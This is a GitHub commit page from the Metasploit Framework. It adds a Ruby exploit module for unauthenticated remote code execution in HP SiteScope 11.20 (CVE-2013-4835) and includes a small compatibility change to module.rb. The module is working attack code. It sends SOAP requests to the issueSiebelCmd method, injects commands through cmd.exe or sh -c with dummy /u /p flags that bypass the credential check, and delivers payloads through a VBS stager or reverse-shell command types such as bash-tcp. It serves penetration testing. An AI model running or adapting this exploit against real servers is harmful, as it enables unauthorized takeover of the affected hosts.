Skip to content

Commit 9c484dd

Browse files
committed
Land rapid7#2786 - HP SiteScope issueSiebelCmd Remote Code Execution
2 parents f43bc02 + 5b647ba commit 9c484dd

File tree

2 files changed

+167
-0
lines changed

2 files changed

+167
-0
lines changed

lib/msf/core/module.rb

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -449,6 +449,9 @@ def compatible?(mod)
449449
ch = self.compat['Nop']
450450
elsif (mod.type == MODULE_PAYLOAD)
451451
ch = self.compat['Payload']
452+
if self.respond_to?("target") and self.target['Payload'] and self.target['Payload']['Compat']
453+
ch.merge!(self.target['Payload']['Compat'])
454+
end
452455
else
453456
return true
454457
end
Lines changed: 164 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,164 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'rexml/document'
8+
9+
class Metasploit3 < Msf::Exploit::Remote
10+
Rank = GreatRanking
11+
12+
HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] }
13+
14+
include REXML
15+
include Msf::Exploit::Remote::HttpClient
16+
include Msf::Exploit::CmdStagerVBS
17+
18+
def initialize(info = {})
19+
super(update_info(info,
20+
'Name' => 'HP SiteScope issueSiebelCmd Remote Code Execution',
21+
'Description' => %q{
22+
This module exploits a code execution flaw in HP SiteScope. The vulnerability exists in the
23+
APISiteScopeImpl web service, specifically in the issueSiebelCmd method, which allows the
24+
user to execute arbitrary commands without authentication. This module has been tested
25+
successfully on HP SiteScope 11.20 over Windows 2003 SP2, Windows 2008 and CentOS 6.5.
26+
},
27+
'Author' =>
28+
[
29+
'rgod <rgod[at]autistici.org>', # Vulnerability discovery
30+
'juan vazquez' # Metasploit module
31+
],
32+
'License' => MSF_LICENSE,
33+
'References' =>
34+
[
35+
[ 'CVE', '2013-4835'],
36+
[ 'OSVDB', '99230' ],
37+
[ 'BID', '63478' ],
38+
[ 'ZDI', '13-263' ]
39+
],
40+
'Privileged' => true,
41+
'Platform' => %w{ win unix },
42+
'Arch' => [ ARCH_X86, ARCH_CMD ],
43+
'Payload' =>
44+
{
45+
'Space' => 2048,
46+
'DisableNops' => true
47+
},
48+
'Targets' =>
49+
[
50+
[ 'HP SiteScope 11.20 / Windows',
51+
{
52+
'Arch' => ARCH_X86,
53+
'Platform' => 'win'
54+
}
55+
],
56+
[ 'HP SiteScope 11.20 / Linux',
57+
{
58+
'Arch' => ARCH_CMD,
59+
'Platform' => 'unix',
60+
'Payload' =>
61+
{
62+
'BadChars' => "\x20\x22\x27\x3c",
63+
'Compat' => {
64+
'RequiredCmd' => 'perl python bash-tcp gawk openssl'
65+
}
66+
}
67+
}
68+
]
69+
],
70+
'DefaultTarget' => 0,
71+
'DisclosureDate' => 'Oct 30 2013'))
72+
73+
register_options(
74+
[
75+
Opt::RPORT(8080),
76+
OptString.new('TARGETURI', [true, 'Path to SiteScope', '/SiteScope/'])
77+
], self.class)
78+
end
79+
80+
def check
81+
value = rand_text_alpha(8 + rand(10))
82+
83+
res = send_soap_request(value)
84+
85+
if res and res.code == 500 and res.body.to_s =~ /Cmd Error: User and Password must be specified/
86+
return Exploit::CheckCode::Appears
87+
end
88+
89+
return Exploit::CheckCode::Safe
90+
end
91+
92+
def exploit
93+
94+
if target.name =~ /Windows/
95+
print_status("#{peer} - Delivering payload...")
96+
# cmd.exe max length is 8192
97+
execute_cmdstager({:linemax => 8000, :nodelete => true})
98+
elsif target.name =~ /Linux/
99+
print_status("#{peer} - Executing payload...")
100+
execute_command(payload.encoded, {:http_timeout => 1})
101+
end
102+
end
103+
104+
def execute_command(cmd, opts={})
105+
if target.name =~ /Windows/
106+
cmd.gsub!(/data = Replace\(data, vbCrLf, ""\)/, "data = Replace(data, \" \" + vbCrLf, \"\")")
107+
command = "cmd.exe /c "
108+
command << cmd.gsub(/&/, "&#x26;") # HTML Encode '&' character to avoid soap request parsing errors
109+
command << " &#x26; /u #{rand_text_alpha(4)} /p #{rand_text_alpha(4)}" # To bypass user and pass flags check before executing
110+
elsif target.name =~ /Linux/
111+
command = "sh -c "
112+
command << cmd.gsub(/&/, "&#x26;") # HTML Encode '&' character to avoid soap request parsing errors
113+
command << " /u #{rand_text_alpha(4)} /p #{rand_text_alpha(4)}" # To bypass user and pass flags check before executing
114+
end
115+
116+
res = send_soap_request(command, opts[:http_timeout] || 20)
117+
118+
return if target.name =~ /Linux/ # There isn't response with some ARCH_CMD payloads
119+
120+
unless res and res.code == 500 and res.body =~ /SiteScope encountered an error associated with running a command/
121+
fail_with(Failure::Unknown, "#{peer} - Unexpected response, aborting...")
122+
end
123+
end
124+
125+
def get_soap_request
126+
xml = Document.new
127+
xml.add_element(
128+
"soapenv:Envelope",
129+
{
130+
'xmlns:xsi' => "http://www.w3.org/2001/XMLSchema-instance",
131+
'xmlns:xsd' => "http://www.w3.org/2001/XMLSchema",
132+
'xmlns:soapenv' => "http://schemas.xmlsoap.org/soap/envelope/",
133+
'xmlns:api' => "http://Api.freshtech.COM"
134+
})
135+
xml.root.add_element("soapenv:Header")
136+
xml.root.add_element("soapenv:Body")
137+
body = xml.root.elements[2]
138+
body.add_element(
139+
"api:issueSiebelCmd",
140+
{
141+
'soapenv:encodingStyle' => "http://schemas.xmlsoap.org/soap/encoding/"
142+
})
143+
ser = body.elements[1]
144+
ser.add_element("in0", {'xsi:type' => 'xsd:string'})
145+
ser.elements['in0'].text = "MSF_COMMAND"
146+
147+
xml.to_s
148+
end
149+
150+
def send_soap_request(command, timeout = 20)
151+
res = send_request_cgi({
152+
'uri' => normalize_uri(target_uri.path, 'services', 'APISiteScopeImpl'),
153+
'method' => 'POST',
154+
'ctype' => 'text/xml; charset=UTF-8',
155+
'data' => get_soap_request.gsub(/MSF_COMMAND/, command), # To avoid rexml html encoding
156+
'headers' => {
157+
'SOAPAction' => '""'
158+
}
159+
}, timeout)
160+
161+
return res
162+
end
163+
164+
end

0 commit comments

Comments
 (0)